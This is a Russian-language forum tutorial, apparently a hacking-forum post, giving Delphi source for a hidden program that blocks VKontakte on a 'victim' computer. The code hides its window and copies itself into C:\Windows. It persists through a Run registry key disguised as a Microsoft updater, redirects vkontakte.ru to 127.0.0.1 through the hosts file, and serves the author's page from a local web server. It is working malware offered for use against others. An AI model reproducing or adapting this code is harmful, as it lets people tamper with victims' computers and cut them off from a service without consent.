Добрый день, сейчас опишу метод блокировки вконтакте средствами Delphi. Главное преимущество нашей идеи состоит в том, что она не требует хостинга.
Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется
[1] Delphi 7
[2] Установленная библиотека Indy
Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.
В нем я написал следующее
<html><title>Вконтакте Добро Пожаловать</title></head><div align=center><image src=12.bmp></div></html>
Не забудьте создать картинку с именем 12.bmp
Моя картинка вот http://s49.radikal.r...88381aea11.bmp
Теперь поместите наш файл и картинку в папку C:Windows
Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server
В событии создания формы напишем
procedure TForm1.FormCreate(Sender: TObject);var str:tstringlist;beginapplication.ShowMainForm:=false; //Делаем форму скрытойif not FileExists('C:Windowswebserver.exe') then begin //Проверка, если веб //сервера нет в папкеCopyFile(pchar(application.exename),'C:Windowswebserver.exe',false); //То //скопируемся тудаWinExec('C:Windowswebserver.exe',sw_hide); //И запустим серверRegHosts; //Процедура модификации хостсRegRun; //Пропись в реестреApplication.Terminate; //Если это убрать, то наш сервер не запустится, т.к.//На одном компе может быть запущен только один сервер на одном портуendelsebeginRegRun; //Иначе пропишемся в реестрRegHosts; //Модифицируем хостсserver.Active:=true; //И включим серверend;
Теперь объявим процедуры RegRun и RegHosts
public{ Public declarations }procedure RegHosts;procedure RegRun;end;
Пропись в реестр
procedure TForm1.RegRun;var reg:tregistry;beginreg := tregistry.create; //Инициализируем переменнуюreg.rootkey := hkey_local_machine; //Открываем ключ реестраreg.lazywrite := false;reg.openkey('softwaremicrosoftwindowscurrentversionrun', false); //Открываем //подраздел реестраreg.writestring('MicrosoftWebServerUpdater.exe', 'C:Windowswebserver.exe'); //Прописываем путь до сервера в автозагрузку(вместо //'C:windowswebserver.exe' можно написать Application.exename//Тогда программа пропишет в авторан путь до самой себя в данный моментreg.closekey; //Закрываем разделreg.free; //Уничтожаем переменнуюend;
Думаю, тут ничего объяснять не надо
Модификация файла хостс
Предварительно объявим глобальной переменной
FileStr:TStringlist;
procedure TForm1.RegHosts;beginFilestr:=tstringlist.Create; //Создаем списокFilestr.LoadFromFile('C:WindowsSystem32driversetchosts'); //Загружаем //содержимое хостс в списокFilestr.Add('127.0.0.1 vkontakte.ru'); //Добавим строчку//Слева написан IP, на который произойдет переадресация//Справа - ресурс, с которого она произойдетfilestr.SaveToFile('C:WindowsSystem32driversetchosts'); //Сохраним измененияFilestr.Free; //Освободим объектend;
Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server'a напишем следующее
procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);beginif (pos('ndex',arequestinfo.document)=0)and(pos('12.bmp',arequestinfo.document)=0) then//Если пользователь браузер запрашивает нашу страничкуarequestinfo.Document:='index.html'; //Если запрашивается другая страничка//То все равно откроем нашу. Я пишу такие условия потому, что иначе//У меня программа вываливалась с экзепшном, может у вас получится:) if arequestinfo.Document='/' thenbeginarequestinfo.Document:=''; //Обнуляем запросaresponseinfo.ContentStream:=tfilestream.Create('C:windowsindex.html',fmopenread); //отправляем клиенту файл index.htmlend elseif arequestinfo.Document<>'/' then //Если прошлая проверка пройдена, то//Отправляем файл клиенту(картинку)//Если этого не написать, картинка не отобразитсяaresponseinfo.ContentStream:=tfilestream.Create('C:windows'+arequestinfo.Document,fmopenread);end;
При разрушении формы напишем
Server.active:=false; // Иначе программа будет некорректно работать
В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.
Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru
Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник Скачать